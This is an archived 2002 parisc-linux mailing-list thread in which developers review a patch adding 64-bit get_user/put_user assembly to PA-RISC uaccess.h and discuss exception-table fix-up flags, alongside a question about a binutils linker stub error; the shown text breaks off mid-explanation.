> -	(x) = (__typeof__(*(ptr))) __gu_val;            \
>  	__gu_err;                                       \
>  })

why did you push the cast into the asm functions?

> -#define __get_user_asm(ldx,ptr)                         \
> +#define __get_kernel_asm_64(x, ptr)                         \
> +        __asm__ ("\n\tldw\t4(%1),%3\n"                      \
> +                 "1:\tstw\t%3,4(%2)\n"                      \
> +                 "\tldw\t0(%1),%3\n"                        \
> +                 "2:\tstw\t%3,0(%2)\n"                      \
> +                "3:\n"                                      \
> +                "\t.section __ex_table,\"a\"\n"             \
> +                 "\t.word\t1b\n"                            \
> +                 "\t.word\t(3b-1b)+1\n"                     \
> +                 "\t.word\t2b\n"                            \
> +                 "\t.word\t(3b-2b)+1\n"                     \

what's with the +1?

>  #define __put_user(x,ptr)                                       \
>  ({								\
>  	register long __pu_err __asm__ ("r8") = 0;		\
> +        unsigned long long X = (unsigned long long) x;          \

why do you need this cast?

> +        unsigned long long * __tmp = 0;                         \

if __tmp is only used in the STD macro, you should eiter pass it to the
macro or define it inside that macro.

>  	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
>  	    switch (sizeof(*(ptr))) {                           \
>  	    case 1: __put_kernel_asm("stb",x,ptr); break;       \
>  	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
>  	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
> -	    case 8: STD_KERNEL(x,ptr); break;			\
> +	    case 8: STD_KERNEL(X,ptr); break;			\
>  	    default: BUG(); break;                              \
>  	    }                                                   \
>  	}                                                       \
> @@ -152,7 +193,7 @@
>  	    case 1: __put_user_asm("stb",x,ptr); break;         \
>  	    case 2: __put_user_asm("sth",x,ptr); break;         \
>  	    case 4: __put_user_asm("stw",x,ptr); break;         \
> -	    case 8: STD_USER(x,ptr); break;			\
> +	    case 8: STD_USER(X,ptr); break;			\
>  	    default: BUG(); break;                              \
>  	    }                                                   \
>  	}                                                       \
> @@ -200,6 +241,22 @@
>  		: "=r"(__pu_err)                            \
>  		: "r"(ptr), "r"(x), "0"(__pu_err))
>  
> +#define __put_kernel_asm_64(X, ptr)                           \
> +	__asm__ __volatile__ (                              \
> +		"\n\tldw\t0(%2),%3\n"                       \
> +		"1:\tstw\t%3,0(%1)\n"                 \
> +		"\tldw\t4(%2),%3\n"		            \
> +		"2:\tstw\t%3,4(%1)\n"                 \
> +		"3:\n"					    \
> +		"\t.section __ex_table,\"a\"\n"             \
> +		 "\t.word\t1b\n"                            \
> +		 "\t.word\t(3b-1b)+1\n"                     \
> +		 "\t.word\t2b\n"                            \
> +		 "\t.word\t(3b-2b)+1\n"                     \

as above, why +1?

> +		 "\t.previous"                              \
> +		: "=r"(__pu_err)                            \
> +		: "r"(ptr), "r"(&(X)), "r"(__tmp), "0"(__pu_err))
> +
>  #define __put_user_asm(stx,x,ptr)                           \
>  	__asm__ __volatile__ (                              \
>  		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
> @@ -210,6 +267,23 @@
>  		 "\t.previous"                              \
>  		: "=r"(__pu_err)                            \
>  		: "r"(ptr), "r"(x), "0"(__pu_err))
> +
> +#define __put_user_asm_64(X, ptr)                           \
> +	__asm__ __volatile__ (                              \
> +		"\n\tldw\t0(%2),%3\n"                       \
> +		"1:\tstw\t%3,0(%%sr3,%1)\n"                 \
> +		"\tldw\t4(%2),%3\n"		            \
> +		"2:\tstw\t%3,4(%%sr3,%1)\n"                 \
> +		"3:\n"					    \
> +		"\t.section __ex_table,\"a\"\n"             \
> +		 "\t.word\t1b\n"                            \
> +		 "\t.word\t(3b-1b)+1\n"                     \
> +		 "\t.word\t2b\n"                            \
> +		 "\t.word\t(3b-2b)+1\n"                     \

ditto, this probably should be +3 to indicate a userspace address.

your code also creates an artifact that may or may not be ok -- if you
do a 64-bit put_user or get_user on a 32-bit aligned address, this will
work with a 32-bit kernel but will trap on a 64-bit kernel. i guess
that's ok, but just something to keep in mind.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /usr/bin/ld: can not size stub section: Bad value
Date: Sat, 05 Oct 2002 10:38:41 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3D9EA511.20D85BEA@hpfrcu81.france.hp.com>
References: <Pine.LNX.4.44.0210020925510.6688-100000@wolf.alaskatech> <20021003053033.9C5E64829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621799 15110 80.91.229.3 (22 Nov 2014 02:03:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:19 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  5 05:25:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AF094829
	for <parisc-linux@parisc-linux.org>; Sat,  5 Oct 2002 05:25:15 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 26CC56115
	for <parisc-linux@parisc-linux.org>; Sat,  5 Oct 2002 10:37:23 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id KAA01343; Sat, 5 Oct 2002 10:38:41 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16390

Hi All,

I got this from the final link of my application.

/usr/bin/ld: can not size stub section: Bad value
/usr/bin/ld: BFD 2.12.90.0.14 20020627 Debian GNU/Linux internal error,
aborting
 at ../../bfd/elf32-hppa.c line 4124 in elf32_hppa_relocate_section

/usr/bin/ld: Please report this bug.



Is this a bug or faq today?

It is while building a tiny prog linked with shared lib, 'may be' this as to
do with the way the shared libs are build i.e short pic vs long pic?

Thanx in advance?
Phi


From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /usr/bin/ld: can not size stub section: Bad value
Date: Sat, 5 Oct 2002 12:22:02 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200210051622.g95GM2VU010593@hiauly1.hia.nrc.ca>
References: <3D9EA511.20D85BEA@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621799 15113 80.91.229.3 (22 Nov 2014 02:03:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: phi@hpfrcu81.france.hp.com (phi)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  5 10:24:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5058D4829
	for <parisc-linux@parisc-linux.org>; Sat,  5 Oct 2002 10:24:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g95GM200010594;
	Sat, 5 Oct 2002 12:22:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g95GM2VU010593;
	Sat, 5 Oct 2002 12:22:02 -0400 (EDT)
In-Reply-To: <3D9EA511.20D85BEA@hpfrcu81.france.hp.com> from "phi" at Oct 5, 2002 10:38:41 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16391

> /usr/bin/ld: can not size stub section: Bad value
> /usr/bin/ld: BFD 2.12.90.0.14 20020627 Debian GNU/Linux internal error,

I presume that you are using debian gcc 3.0.4.  There are known problems with
branches.  This error is usually caused by a call branch being too far from
the start of the module, or function if using -ffunction-sections.
Compiling with gcc 3.2 or later may help.

> Is this a bug or faq today?

Both.  There are still some problems in this area that haven't been resolved.
However, the situation is better in 3.2 than 3.0.4.  kde30/Qt is one package
where there are still problems.

> It is while building a tiny prog linked with shared lib, 'may be' this as to
> do with the way the shared libs are build i.e short pic vs long pic?

I can't remember offhand when this was changed but there is no difference
between short and long pic in 3.2 and later.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need help to improve uaccess.h patch
Date: Sat, 05 Oct 2002 20:22:21 +0000
Lines: 202
Approved: news@gmane.org
Message-ID: <3D9F49FD.2040703@freebel.net>
References: <3D8EED0B00001557@ocpmta5.be.tiscali.com> <20021004160833.GB5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621800 15115 80.91.229.3 (22 Nov 2014 02:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  5 13:17:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 763774829
	for <parisc-linux@parisc-linux.org>; Sat,  5 Oct 2002 13:17:05 -0600 (MDT)
Original-Received: from freebel.net (62.235.71.232) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D8EEDE70054C7CD; Sat, 5 Oct 2002 21:16:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16392

Randolph Chung wrote:
> Note: i haven't tested the patch, just some first-pass comments:
> 
> 
>> #else
>> #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
>> #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
>>@@ -68,27 +73,28 @@
>> ({                                                      \
>> 	register long __gu_err __asm__ ("r8") = 0;      \
>> 	register long __gu_val __asm__ ("r9") = 0;      \
>>+                                                        \
>>+        unsigned int __tmp = 0;                         \
>> 							\
>> 	if (segment_eq(get_fs(),KERNEL_DS)) {           \
>> 	    switch (sizeof(*(ptr))) {                   \
>>-	    case 1: __get_kernel_asm("ldb",ptr); break; \
>>-	    case 2: __get_kernel_asm("ldh",ptr); break; \
>>-	    case 4: __get_kernel_asm("ldw",ptr); break; \
>>-	    case 8: LDD_KERNEL(ptr); break;		\
>>+	    case 1: __get_kernel_asm("ldb",x, ptr); break; \
>>+	    case 2: __get_kernel_asm("ldh",x, ptr); break; \
>>+	    case 4: __get_kernel_asm("ldw",x, ptr); break; \
>>+	    case 8: LDD_KERNEL(x, ptr); break;		\
>> 	    default: BUG(); break;                      \
>> 	    }                                           \
>> 	}                                               \
>> 	else {                                          \
>> 	    switch (sizeof(*(ptr))) {                   \
>>-	    case 1: __get_user_asm("ldb",ptr); break;   \
>>-	    case 2: __get_user_asm("ldh",ptr); break;   \
>>-	    case 4: __get_user_asm("ldw",ptr); break;   \
>>-	    case 8: LDD_USER(ptr);  break;		\
>>+	    case 1: __get_user_asm("ldb",x, ptr); break;   \
>>+	    case 2: __get_user_asm("ldh",x, ptr); break;   \
>>+	    case 4: __get_user_asm("ldw",x, ptr); break;   \
>>+	    case 8: LDD_USER(x, ptr);  break;		\
>> 	    default: BUG(); break;                      \
>> 	    }                                           \
>> 	}                                               \
>> 							\
>>-	(x) = (__typeof__(*(ptr))) __gu_val;            \
>> 	__gu_err;                                       \
>> })
> 
> 
> why did you push the cast into the asm functions?
> 
Not actualy in the asm but well in the std #define __get_user_asm just 
after asm, because with gcc-3.0.4 I do not find any way to access (in 
__asm extension) the two integer part of a long long (which C allow). So 
I try (as better as I can) to use ptr and this cast does not seems 
anymore usefull in 64bit parts.

[Well, in mips 32 bits uaccess.h, I see that some prefix as D, M, L can 
be used to do this access. But if I test those one (example %D1) with 
hppa, gcc asks me send a bug report. I think that I would have to do it 
to improve gcc-3.3?]

> 
>>-#define __get_user_asm(ldx,ptr)                         \
>>+#define __get_kernel_asm_64(x, ptr)                         \
>>+        __asm__ ("\n\tldw\t4(%1),%3\n"                      \
>>+                 "1:\tstw\t%3,4(%2)\n"                      \
>>+                 "\tldw\t0(%1),%3\n"                        \
>>+                 "2:\tstw\t%3,0(%2)\n"                      \
>>+                "3:\n"                                      \
>>+                "\t.section __ex_table,\"a\"\n"             \
>>+                 "\t.word\t1b\n"                            \
>>+                 "\t.word\t(3b-1b)+1\n"                     \
>>+                 "\t.word\t2b\n"                            \
>>+                 "\t.word\t(3b-2b)+1\n"                     \
> 
> 
> what's with the +1?

That is my main doubt :(
In this uaccess.h, I read (but i am not quit sure to have understand all 
  fine aspect) that we have to 'jump' after the erronious code (for me 
3b-[12]b + 1 ? am i wrong? ). And understand +3 in get_user_asm because 
we would have to jump after the cast "(x) = (__typeof__(*(ptr))) 
__gu_val;". Is it wrong?

> 
> 
>> #define __put_user(x,ptr)                                       \
>> ({								\
>> 	register long __pu_err __asm__ ("r8") = 0;		\
>>+        unsigned long long X = (unsigned long long) x;          \
> 
> 
> why do you need this cast?

I need in fact to assigned x to X because I encounter put_user(0,PTR) 
(which became later .. (&0)... which is wrong). And the cast is just to 
avoid anoying warning if x is not a long long.

> 
> 
>>+        unsigned long long * __tmp = 0;                         \
> 
> 
> if __tmp is only used in the STD macro, you should eiter pass it to the
> macro or define it inside that macro.
> 
> 
>> 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
>> 	    switch (sizeof(*(ptr))) {                           \
>> 	    case 1: __put_kernel_asm("stb",x,ptr); break;       \
>> 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
>> 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
>>-	    case 8: STD_KERNEL(x,ptr); break;			\
>>+	    case 8: STD_KERNEL(X,ptr); break;			\
>> 	    default: BUG(); break;                              \
>> 	    }                                                   \
>> 	}                                                       \
>>@@ -152,7 +193,7 @@
>> 	    case 1: __put_user_asm("stb",x,ptr); break;         \
>> 	    case 2: __put_user_asm("sth",x,ptr); break;         \
>> 	    case 4: __put_user_asm("stw",x,ptr); break;         \
>>-	    case 8: STD_USER(x,ptr); break;			\
>>+	    case 8: STD_USER(X,ptr); break;			\
>> 	    default: BUG(); break;                              \
>> 	    }                                                   \
>> 	}                                                       \
>>@@ -200,6 +241,22 @@
>> 		: "=r"(__pu_err)                            \
>> 		: "r"(ptr), "r"(x), "0"(__pu_err))
>> 
>>+#define __put_kernel_asm_64(X, ptr)                           \
>>+	__asm__ __volatile__ (                              \
>>+		"\n\tldw\t0(%2),%3\n"                       \
>>+		"1:\tstw\t%3,0(%1)\n"                 \
>>+		"\tldw\t4(%2),%3\n"		            \
>>+		"2:\tstw\t%3,4(%1)\n"                 \
>>+		"3:\n"					    \
>>+		"\t.section __ex_table,\"a\"\n"             \
>>+		 "\t.word\t1b\n"                            \
>>+		 "\t.word\t(3b-1b)+1\n"                     \
>>+		 "\t.word\t2b\n"                            \
>>+		 "\t.word\t(3b-2b)+1\n"                     \
> 
> 
> as above, why +1?

As early mentionned I do not well understand the original +1 (or +3) in 
the original put_user (get_user) and use what I think to have understand 
  (which seems to be wrong :( )

> 
> 
>>+		 "\t.previous"                              \
>>+		: "=r"(__pu_err)                            \
>>+		: "r"(ptr), "r"(&(X)), "r"(__tmp), "0"(__pu_err))
>>+
>> #define __put_user_asm(stx,x,ptr)                           \
>> 	__asm__ __volatile__ (                              \
>> 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
>>@@ -210,6 +267,23 @@
>> 		 "\t.previous"                              \
>> 		: "=r"(__pu_err)                            \
>> 		: "r"(ptr), "r"(x), "0"(__pu_err))
>>+
>>+#define __put_user_asm_64(X, ptr)                           \
>>+	__asm__ __volatile__ (                              \
>>+		"\n\tldw\t0(%2),%3\n"                       \
>>+		"1:\tstw\t%3,0(%%sr3,%1)\n"                 \
>>+		"\tldw\t4(%2),%3\n"		            \
>>+		"2:\tstw\t%3,4(%%sr3,%1)\n"                 \
>>+		"3:\n"					    \
>>+		"\t.section __ex_table,\"a\"\n"             \
>>+		 "\t.word\t1b\n"                            \
>>+		 "\t.word\t(3b-1b)+1\n"                     \
>>+		 "\t.word\t2b\n"                            \
>>+		 "\t.word\t(3b-2b)+1\n"                     \
> 
> 
> ditto, this probably should be +3 to indicate a userspace address.

Ok (I do not have the oppotunity to test this patch in wrong conditions 
ie segv :(, I would so much), I have to analyse in more details 
exception table handler to try to better understand this.

> 
> your code also creates an artifact that may or may not be ok -- if you
> do a 64-bit put_user or get_user on a 32-bit aligned address, this will
> work with a 32-bit kernel but will trap on a 64-bit kernel. i guess
> that's ok, but just something to keep in mind.

IMHO the absolute solution would be, to have in 32bits a pseudo ldd asm 
extension which do the actual 64bits processor ldd job. Don't you think so?

[as %D1, I also test ldd with a gcc 32bits but it also ask me to send a 
bug report. What do you thing? would I have to report this one (I doubt 
: it is not an actual pa1.1 code but more a dream of mine)?]

Thanks a lot for your kind attention and relevant remarks,

	Joel




From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need help to improve uaccess.h patch
Date: Sat, 5 Oct 2002 18:10:12 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200210052210.g95MACBv010773@hiauly1.hia.nrc.ca>
References: <3D9F49FD.2040703@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621800 15117 80.91.229.3 (22 Nov 2014 02:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:20 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@parisc-linux.org
To: joel.soete@freebel.net (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  5 16:10:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8251D4829
	for <parisc-linux@parisc-linux.org>; Sat,  5 Oct 2002 16:10:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g95MAD00010774;
	Sat, 5 Oct 2002 18:10:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g95MACBv010773;
	Sat, 5 Oct 2002 18:10:12 -0400 (EDT)
In-Reply-To: <3D9F49FD.2040703@freebel.net> from "Joel Soete" at Oct 5, 2002 08:22:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16393

> >>+                "\t.section __ex_table,\"a\"\n"             \
> >>+                 "\t.word\t1b\n"                            \
> >>+                 "\t.word\t(3b-1b)+1\n"                     \
> >>+                 "\t.word\t2b\n"                            \
> >>+                 "\t.word\t(3b-2b)+1\n"                     \
> > 
> > 
> > what's with the +1?
> 
> That is my main doubt :(
> In this uaccess.h, I read (but i am not quit sure to have understand all 
>   fine aspect) that we have to 'jump' after the erronious code (for me 
> 3b-[12]b + 1 ? am i wrong? ). And understand +3 in get_user_asm because 
> we would have to jump after the cast "(x) = (__typeof__(*(ptr))) 
> __gu_val;". Is it wrong?

I may be wrong but I think the code is trying to build a PLABEL.  In
which case, the value should be 2 or 3.  The least significant bit is
not used.  See the runtime architecture manual for more info on PLABELs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need help to improve uaccess.h patch
Date: Sat, 5 Oct 2002 17:07:28 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <20021006000728.GA15230@tausq.org>
References: <3D9F49FD.2040703@freebel.net> <200210052210.g95MACBv010773@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621800 15118 80.91.229.3 (22 Nov 2014 02:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:20 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  5 18:05:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD71D4829
	for <parisc-linux@parisc-linux.org>; Sat,  5 Oct 2002 18:05:54 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 09D26CD83C; Sat,  5 Oct 2002 17:07:29 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200210052210.g95MACBv010773@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16394

> > That is my main doubt :(
> > In this uaccess.h, I read (but i am not quit sure to have understand all 
> >   fine aspect) that we have to 'jump' after the erronious code (for me 
> > 3b-[12]b + 1 ? am i wrong? ). And understand +3 in get_user_asm because 
> > we would have to jump after the cast "(x) = (__typeof__(*(ptr))) 
> > __gu_val;". Is it wrong?
> 
> I may be wrong but I think the code is trying to build a PLABEL.  In
> which case, the value should be 2 or 3.  The least significant bit is
> not used.  See the runtime architecture manual for more info on PLABELs.

nah, the comment says:

/*
 * The exception table contains two values: the first is an address
 * for an instruction that is allowed to fault, and the second is
 * the number of bytes to skip if a fault occurs. We also support in
 * two bit flags: 0x2 tells the exception handler to clear register
 * r9 and 0x1 tells the exception handler to put -EFAULT in r8.
 * This allows us to handle the simple cases for put_user and
 * get_user without having to have .fixup sections.
 */

struct exception_table_entry {
        unsigned long addr;  /* address of insn that is allowed to fault.   */
        long skip;           /* pcoq skip | r9 clear flag | r8 -EFAULT flag */
};

so let's take __get_user() ...

#define __get_user(x,ptr)                               \
({                                                      \
        register long __gu_err __asm__ ("r8") = 0;      \
        register long __gu_val __asm__ ("r9") = 0;      \
        [...]
        if (segment_eq(get_fs(),KERNEL_DS)) {           \
            switch (sizeof(*(ptr))) {                   \
            case 1: __get_kernel_asm("ldb",ptr); break; \
            case 2: __get_kernel_asm("ldh",ptr); break; \
            case 4: __get_kernel_asm("ldw",ptr); break; \
            case 8: LDD_KERNEL(ptr); break;             \
            default: BUG(); break;                      \
            }                                           \
        }                                               \
        (x) = (__typeof__(*(ptr))) __gu_val;            \
        __gu_err;                                       \
})

iow, at the end of __get_user, x == r9, and the return value is r8

so, if the extable says:
                "\t.section __ex_table,\"a\"\n"         \
                 "\t.word\t1b\n"                        \
                 "\t.word\t(2b-1b)+3\n"                 \
                 "\t.previous"                          \

this means that:
if the insn at label 1 faults, handle the fault (see
arch/parisc/mm/fault.c) and then continue at 
